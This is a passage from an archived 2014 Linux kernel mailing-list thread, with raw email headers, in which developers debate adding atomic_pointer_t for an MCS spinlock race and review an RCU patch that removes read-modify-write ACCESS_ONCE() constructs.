	id S1752169AbaFBVNT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 17:13:19 -0400
Original-Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s52LCHCb001001
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Mon, 2 Jun 2014 17:12:17 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s52LCGW3018353
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 2 Jun 2014 17:12:17 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s52LCGS5015253;
	Mon, 2 Jun 2014 17:12:16 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s52LCGec015249;
	Mon, 2 Jun 2014 17:12:16 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <CA+55aFwCy4-x02U6A-KbkPEpe_4pagsZ__ipBhe5HZOQt2vNmw@mail.gmail.com>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5852 gmane.linux.kernel:1716437
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5852>



On Mon, 2 Jun 2014, Linus Torvalds wrote:

> On Mon, Jun 2, 2014 at 1:46 PM, Mikulas Patocka <mpatocka@redhat.com> wrote:
> >
> > And what else do you want to do?
> >
> > Peter Zijlstra said "I've been using xchg() and cmpxchg() without such
> > consideration for quite a while." - so it basically implies that the
> > kernel is full of such races, mcs_spinlock is just the most visible one
> > that crashes the kernel first.
> 
> .. so your whole argument is bogus, because it doesn't actually fix
> anything else.
>
> Now, something that *would* fix something else is (for example) to
> just make "ACCESS_ONCE()" a rvalue so that you cannot use it for
> assignments, and then trying to sort out what happens then. It's
> possible that the "atomic_pointer_t" would be a part of the solution
> to that "what happens then", but THERE IS NO WAY IN HELL we're adding
> it for just one architecture and one use that doesn't warrant even
> _existing_ on that architecture.

The patch adds atomic_pointer_t for all architectures - it is in the 
common code and it is backed by atomic_long_t (that already exists for all 
architectures). There is no new arch-specific code at all.

When we have atomic_pointer_t, we can find the instances of xchg() and 
cmpxchg() and convert them to atomic_pointer_t (or to other atomic*_t 
types).

When we convert them all, we can drop xchg() and cmpxchg() at all (at 
least from architecture-neutral code).

The problem with xchg() and cmpxchg() is that they are very easy to 
misuse. Peter Zijlstra didn't know that they are not atomic w.r.t. normal 
stores, a lot of other people don't know it too - and if we allow these 
functions to be used, this race condition will reappear in the future 
again and again.

That's why I'm proposing atomic_pointer_t - it guarantees that this race 
condition can't be made.

> See what I'm saying?
> 
> You're not fixing the problem, you're fixing one unimportant detail
> that isn't worth fixing that way.
> 
>                Linus

Regarding reworking ACCESS_ONCE() for reads and writes - the problem is - 
how do you make people use it? ACCESS_ONCE() is already missing at a lot 
of places (it doesn't cause any visible bug on the condition that the 
compiler doesn't split the load or store to multiple accesses), I can 
assume that people will omit ATOMIC_ONCE_STORE() too even if we make it.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 15:08:31 -0700
Lines: 184
Approved: news@gmane.org
Message-ID: <20140602220831.GG22231@linux.vnet.ibm.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <20140602163032.GI16155@laptop.programming.kicks-ass.net>
 <538CB56E.5010709@hp.com>
 <20140602200525.GD13930@laptop.programming.kicks-ass.net>
 <CA+55aFwJwVf_MbcwNNWg-KrLdoOaV2xse2jzvBZTJHJgC_Htvg@mail.gmail.com>
 <20140602210227.GE22231@linux.vnet.ibm.com>
 <CA+55aFzX3oDvzqh4AfkJ7-X1Yfo8obFM+jOOmwzeN-GyqOPLJg@mail.gmail.com>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401746930 6661 80.91.229.3 (2 Jun 2014 22:08:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 22:08:50 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	Waiman Long <waiman.long@hp.com>,
	Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 00:08:40 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WraPH-0002py-CB
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 00:08:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751572AbaFBWIi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 18:08:38 -0400
Original-Received: from e31.co.us.ibm.com ([32.97.110.149]:49407 "EHLO
	e31.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751000AbaFBWIh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 18:08:37 -0400
Original-Received: from /spool/local
	by e31.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Mon, 2 Jun 2014 16:08:36 -0600
Original-Received: from d03dlp01.boulder.ibm.com (9.17.202.177)
	by e31.co.us.ibm.com (192.168.1.131) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Mon, 2 Jun 2014 16:08:34 -0600
Original-Received: from b03cxnp07028.gho.boulder.ibm.com (b03cxnp07028.gho.boulder.ibm.com [9.17.130.15])
	by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id 5FCE21FF003F;
	Mon,  2 Jun 2014 16:08:33 -0600 (MDT)
Original-Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245])
	by b03cxnp07028.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s52M7Jtc52756716;
	Tue, 3 Jun 2014 00:07:19 +0200
Original-Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id s52MCWgO002490;
	Mon, 2 Jun 2014 16:12:33 -0600
Original-Received: from paulmck-ThinkPad-W500 ([9.70.82.160])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id s52MCW8q002476;
	Mon, 2 Jun 2014 16:12:32 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 57C983814C4; Mon,  2 Jun 2014 15:08:31 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CA+55aFzX3oDvzqh4AfkJ7-X1Yfo8obFM+jOOmwzeN-GyqOPLJg@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14060222-8236-0000-0000-000002CE3C43
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5853 gmane.linux.kernel:1716493
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5853>

On Mon, Jun 02, 2014 at 02:12:30PM -0700, Linus Torvalds wrote:
> On Mon, Jun 2, 2014 at 2:02 PM, Paul E. McKenney
> <paulmck@linux.vnet.ibm.com> wrote:
> >
> > In the ->qlen case, interrupts are disabled and the current CPU is
> > the only one who can write, so the read need not be volatile.  In the
> > ->n_barrier_done, modifications are done holding ->barrier_mutex, so again
> > the read need not be volatile.  In the sync_rcu_preempt_exp_count case,
> > modifications are done holding sync_rcu_preempt_exp_mutex, so once again,
> > the read need not be volatile.  So I could do something like:
> >
> >         ACCESS_ONCE(rdp->qlen) = rdp->qlen + 1;
> >
> > But that still makes gcc generate bad code
> >
> > The reason I was not all that worried about this is that these are not
> > in fastpaths, and the last two are especially not in fastpaths.
> >
> > Suggestions?
> 
> So I think it probably *works*, but even so splitting it up to use
> ACCESS_ONCE() on just the write is probably a better option, if only
> because it would then make it much easier to change if we do end up
> splitting reads and writes.
> 
> Because from a gcc code generation standpoint, using "volatile" will
> always be horrible, because gcc will never be able to turn it into a
> read-modify-write cycle. Arguable gcc _should_ be able to do that (it
> is certainly allowable within the virtual machine definition), but I
> understand why it doesn't ("volatile? Let's not optimize anything at
> all, because it's special").
> 
> So "ACCESS_ONCE() + R-M-W" operation is actually pretty much
> guaranteed to be "ACCESS_TWICE()", which may well be ok (performance
> may not matter, and even when it does most architectures don't
> actually have r-m-w instructions and when they do they aren't always
> even faster), but I think it's just horribly horribly bad from a
> conceptual and readability standpoint because it's so misleading.
> 
> So I'd actually rather see two explicit ACCESS_ONCE() calls - once to
> read, once to write. Because that at least describes what is
> happening, unlike the current situation.
> 
> Put another way: I can understand why you do it, and I can even agree
> that it is "correct" from a functionality standpoint. But even despite
> that all, I really don't like the construct very much..

OK, I have queued the following commit for 3.17.  Is this what you had
in mind?

							Thanx, Paul

------------------------------------------------------------------------

rcu: Eliminate read-modify-write ACCESS_ONCE() calls

RCU contains code of the following forms:

	ACCESS_ONCE(x)++;
	ACCESS_ONCE(x) += y;
	ACCESS_ONCE(x) -= y;

Now these constructs do operate correctly, but they really result in a
pair of volatile accesses, one to do the load and another to do the store.
This can be confusing, as the casual reader might well assume that (for
example) gcc might generate a memory-to-memory add instruction for each
of these three cases.  In fact, gcc will do no such thing.  Also, there
is a good chance that the kernel will move to separate load and store
variants of ACCESS_ONCE(), and constructs like the above could easily
confuse both people and scripts attempting to make that sort of change.
Finally, most of RCU's read-modify-write uses of ACCESS_ONCE() really
only need the store to be volatile, so that the read-modify-write form
might be misleading.

This commit therefore changes the above forms in RCU so that each instance
of ACCESS_ONCE() either does a load or a store, but not both.  In a few
cases, ACCESS_ONCE() was not critical, for example, for maintaining 
statisitics.  In these cases, ACCESS_ONCE() has been dispensed with
entirely

Suggested-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>

diff --git a/kernel/rcu/srcu.c b/kernel/rcu/srcu.c
index c639556f3fa0..c0120279dead 100644
--- a/kernel/rcu/srcu.c
+++ b/kernel/rcu/srcu.c
@@ -295,12 +295,15 @@ EXPORT_SYMBOL_GPL(cleanup_srcu_struct);
 int __srcu_read_lock(struct srcu_struct *sp)
 {
 	int idx;
+	unsigned long *lp;
 
 	idx = ACCESS_ONCE(sp->completed) & 0x1;
 	preempt_disable();
-	ACCESS_ONCE(this_cpu_ptr(sp->per_cpu_ref)->c[idx]) += 1;
+	lp = this_cpu_ptr(&sp->per_cpu_ref->c[idx]);
+	ACCESS_ONCE(*lp) = *lp + 1;
 	smp_mb(); /* B */  /* Avoid leaking the critical section. */
-	ACCESS_ONCE(this_cpu_ptr(sp->per_cpu_ref)->seq[idx]) += 1;
+	lp = this_cpu_ptr(&sp->per_cpu_ref->seq[idx]);
+	ACCESS_ONCE(*lp) = *lp + 1;
 	preempt_enable();
 	return idx;
 }
diff --git a/kernel/rcu/tree.c b/kernel/rcu/tree.c
index d1c8e4a85b92..f0ed867070cd 100644
--- a/kernel/rcu/tree.c
+++ b/kernel/rcu/tree.c
@@ -2275,7 +2275,7 @@ static void rcu_do_batch(struct rcu_state *rsp, struct rcu_data *rdp)
 	}
 	smp_mb(); /* List handling before counting for rcu_barrier(). */
 	rdp->qlen_lazy -= count_lazy;
-	ACCESS_ONCE(rdp->qlen) -= count;
+	ACCESS_ONCE(rdp->qlen) = rdp->qlen - count;
 	rdp->n_cbs_invoked += count;
 
 	/* Reinstate batch limit if we have worked down the excess. */
@@ -2420,7 +2420,7 @@ static void force_quiescent_state(struct rcu_state *rsp)
 		if (rnp_old != NULL)
 			raw_spin_unlock(&rnp_old->fqslock);
 		if (ret) {
-			ACCESS_ONCE(rsp->n_force_qs_lh)++;
+			rsp->n_force_qs_lh++;
 			return;
 		}
 		rnp_old = rnp;
@@ -2432,7 +2432,7 @@ static void force_quiescent_state(struct rcu_state *rsp)
 	smp_mb__after_unlock_lock();
 	raw_spin_unlock(&rnp_old->fqslock);
 	if (ACCESS_ONCE(rsp->gp_flags) & RCU_GP_FLAG_FQS) {
-		ACCESS_ONCE(rsp->n_force_qs_lh)++;
+		rsp->n_force_qs_lh++;
 		raw_spin_unlock_irqrestore(&rnp_old->lock, flags);
 		return;  /* Someone beat us to it. */
 	}
@@ -2621,7 +2621,7 @@ __call_rcu(struct rcu_head *head, void (*func)(struct rcu_head *rcu),
 		local_irq_restore(flags);
 		return;
 	}
-	ACCESS_ONCE(rdp->qlen)++;
+	ACCESS_ONCE(rdp->qlen) = rdp->qlen + 1;
 	if (lazy)
 		rdp->qlen_lazy++;
 	else
@@ -3185,7 +3185,7 @@ static void _rcu_barrier(struct rcu_state *rsp)
 	 * ACCESS_ONCE() to prevent the compiler from speculating
 	 * the increment to precede the early-exit check.
 	 */
-	ACCESS_ONCE(rsp->n_barrier_done)++;
+	ACCESS_ONCE(rsp->n_barrier_done) = rsp->n_barrier_done + 1;
 	WARN_ON_ONCE((rsp->n_barrier_done & 0x1) != 1);
 	_rcu_barrier_trace(rsp, "Inc1", -1, rsp->n_barrier_done);
 	smp_mb(); /* Order ->n_barrier_done increment with below mechanism. */
@@ -3235,7 +3235,7 @@ static void _rcu_barrier(struct rcu_state *rsp)
 
 	/* Increment ->n_barrier_done to prevent duplicate work. */
 	smp_mb(); /* Keep increment after above mechanism. */
-	ACCESS_ONCE(rsp->n_barrier_done)++;
+	ACCESS_ONCE(rsp->n_barrier_done) = rsp->n_barrier_done + 1;
 	WARN_ON_ONCE((rsp->n_barrier_done & 0x1) != 0);
 	_rcu_barrier_trace(rsp, "Inc2", -1, rsp->n_barrier_done);
 	smp_mb(); /* Keep increment before caller's subsequent code. */
diff --git a/kernel/rcu/tree_plugin.h b/kernel/rcu/tree_plugin.h
index aee1e924b048..7ce734040a5e 100644
--- a/kernel/rcu/tree_plugin.h
+++ b/kernel/rcu/tree_plugin.h
@@ -2274,8 +2274,8 @@ static int rcu_nocb_kthread(void *arg)
 		tail = xchg(&rdp->nocb_tail, &rdp->nocb_head);
 		c = atomic_long_xchg(&rdp->nocb_q_count, 0);
 		cl = atomic_long_xchg(&rdp->nocb_q_count_lazy, 0);
-		ACCESS_ONCE(rdp->nocb_p_count) += c;
-		ACCESS_ONCE(rdp->nocb_p_count_lazy) += cl;
+		rdp->nocb_p_count += c;
+		rdp->nocb_p_count_lazy += cl;
 		rcu_nocb_wait_gp(rdp);
 
 		/* Each pass through the following loop invokes a callback. */

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Dumazet <eric.dumazet@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 02 Jun 2014 15:44:48 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <1401749088.3645.189.camel@edumazet-glaptop2.roam.corp.google.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
	 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
	 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
	 <20140602163032.GI16155@laptop.programming.kicks-ass.net>
	 <538CB56E.5010709@hp.com>
	 <20140602200525.GD13930@laptop.programming.kicks-ass.net>
	 <CA+55aFwJwVf_MbcwNNWg-KrLdoOaV2xse2jzvBZTJHJgC_Htvg@mail.gmail.com>
	 <20140602210227.GE22231@linux.vnet.ibm.com>
	 <CA+55aFzX3oDvzqh4AfkJ7-X1Yfo8obFM+jOOmwzeN-GyqOPLJg@mail.gmail.com>
	 <20140602220831.GG22231@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1401749102 30725 80.91.229.3 (2 Jun 2014 22:45:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 22:45:02 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Peter Zijlstra <peterz@infradead.org>,
	Waiman Long <waiman.long@hp.com>,
	Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: paulmck@linux.vnet.ibm.com
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 00:44:53 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrayK-00068y-Gm
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 00:44:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752885AbaFBWov (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 18:44:51 -0400
Original-Received: from mail-pb0-f49.google.com ([209.85.160.49]:35891 "EHLO
	mail-pb0-f49.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752873AbaFBWou (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 18:44:50 -0400
Original-Received: by mail-pb0-f49.google.com with SMTP id jt11so4665012pbb.36
        for <multiple recipients>; Mon, 02 Jun 2014 15:44:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:subject:from:to:cc:date:in-reply-to:references
         :content-type:content-transfer-encoding:mime-version;
        bh=1jWb+qAwE7AhKhk5weykCqXfYUyfUcAi438Xo02GyuI=;
        b=pJdGegrKkKZtxEJNVi7z/i85lX3przKR+QlVqImkHg7CYhCLVpmxf4LvkNhSd2uteW
         CNwgNEijbZw0DWq71ahzEHG3fabDnLfVSj9CYqsRsuzdsW8u2uZcQOTo2KtbU61GEgzq
         4FiWVQuqVdhsVfKapnVQx4Fc68OM39sEMaf1ZaPP8IaTGxN7r3dtBDl3+EHBNcmQodYm
         s89Gn7ZK2ikQyro5u0ZJwufMuZuKpSWG/kG193+7JmrnrnXX2Cz86OVibDyJH1qgv9rn
         0xeEgTZQg4Cldh3jOLcQoq+iQphphLZ2tL89JwoSE4UdXDa4wAsnp8FU3VEowi7v+H7a
         CVFQ==
X-Received: by 10.68.135.42 with SMTP id pp10mr44644317pbb.58.1401749090186;
        Mon, 02 Jun 2014 15:44:50 -0700 (PDT)
Original-Received: from ?IPv6:2620:0:1000:3e02:29c4:7088:9f04:f3e9? ([2620:0:1000:3e02:29c4:7088:9f04:f3e9])
        by mx.google.com with ESMTPSA id jq6sm22188614pbb.76.2014.06.02.15.44.49
        for <multiple recipients>
        (version=SSLv3 cipher=RC4-SHA bits=128/128);
        Mon, 02 Jun 2014 15:44:49 -0700 (PDT)
In-Reply-To: <20140602220831.GG22231@linux.vnet.ibm.com>
X-Mailer: Evolution 3.2.3-0ubuntu6 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5854 gmane.linux.kernel:1716513
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5854>

On Mon, 2014-06-02 at 15:08 -0700, Paul E. McKenney wrote:

> diff --git a/kernel/rcu/srcu.c b/kernel/rcu/srcu.c
> index c639556f3fa0..c0120279dead 100644
> --- a/kernel/rcu/srcu.c
> +++ b/kernel/rcu/srcu.c
> @@ -295,12 +295,15 @@ EXPORT_SYMBOL_GPL(cleanup_srcu_struct);
>  int __srcu_read_lock(struct srcu_struct *sp)
>  {
>  	int idx;
> +	unsigned long *lp;
>  
>  	idx = ACCESS_ONCE(sp->completed) & 0x1;
>  	preempt_disable();
> -	ACCESS_ONCE(this_cpu_ptr(sp->per_cpu_ref)->c[idx]) += 1;
> +	lp = this_cpu_ptr(&sp->per_cpu_ref->c[idx]);
> +	ACCESS_ONCE(*lp) = *lp + 1;
>  	smp_mb(); /* B */  /* Avoid leaking the critical section. */
> -	ACCESS_ONCE(this_cpu_ptr(sp->per_cpu_ref)->seq[idx]) += 1;
> +	lp = this_cpu_ptr(&sp->per_cpu_ref->seq[idx]);
> +	ACCESS_ONCE(*lp) = *lp + 1;
>  	preempt_enable();
>  	return idx;
>  

This probably could use the following 

diff --git a/kernel/rcu/srcu.c b/kernel/rcu/srcu.c
index c639556f3fa0..3a97eb6f9076 100644
--- a/kernel/rcu/srcu.c
+++ b/kernel/rcu/srcu.c
@@ -298,9 +298,9 @@ int __srcu_read_lock(struct srcu_struct *sp)
 
 	idx = ACCESS_ONCE(sp->completed) & 0x1;
 	preempt_disable();
-	ACCESS_ONCE(this_cpu_ptr(sp->per_cpu_ref)->c[idx]) += 1;
+	this_cpu_inc(sp->per_cpu_ref->c[idx]);
 	smp_mb(); /* B */  /* Avoid leaking the critical section. */
-	ACCESS_ONCE(this_cpu_ptr(sp->per_cpu_ref)->seq[idx]) += 1;
+	this_cpu_inc(sp->per_cpu_ref->seq[idx]);
 	preempt_enable();
 	return idx;
 }


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 15:55:57 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <CA+55aFz7P0y1gZx7K2TCAKE7JQ6XseEprqXAQEOdq-j540KRYA@mail.gmail.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
	<alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
	<20140602162525.GH16155@laptop.programming.kicks-ass.net>
	<20140602163032.GI16155@laptop.programming.kicks-ass.net>
	<538CB56E.5010709@hp.com>
	<20140602200525.GD13930@laptop.programming.kicks-ass.net>
	<CA+55aFwJwVf_MbcwNNWg-KrLdoOaV2xse2jzvBZTJHJgC_Htvg@mail.gmail.com>
	<20140602210227.GE22231@linux.vnet.ibm.com>
	<CA+55aFzX3oDvzqh4AfkJ7-X1Yfo8obFM+jOOmwzeN-GyqOPLJg@mail.gmail.com>
	<20140602220831.GG22231@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1401749775 5878 80.91.229.3 (2 Jun 2014 22:56:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 22:56:15 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	Waiman Long <waiman.long@hp.com>,
	Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Paul McKenney <paulmck@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 00:56:05 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wrb96-0003vf-G8
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 00:56:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752201AbaFBWz7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 18:55:59 -0400
Original-Received: from mail-vc0-f171.google.com ([209.85.220.171]:58058 "EHLO
	mail-vc0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751708AbaFBWz6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 18:55:58 -0400
Original-Received: by mail-vc0-f171.google.com with SMTP id ij19so1392163vcb.16
        for <multiple recipients>; Mon, 02 Jun 2014 15:55:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=KRuO2iUhQ5DTg1UWOB8/Nr9Z/5fUbVWXXpN2pd8a7rE=;
        b=g+p16/7s0aKkR3uQiWOplinFWBsScZiLs4TdV50r0G8lCU3cI7FmEafq6HkgsHhv4x
         4LPP7OMzOzotMStgxBOuSNjVFDpSfLrg7FuO2LdmP0Fc3LLeUDdIicm17pJpYZyEG38z
         6WibBsCkv3Xy+/nJ4L6QwSgJqwEMnhUXmXPfnSKJad5r81LnRmOHJXhyjVLAETsG3HSa
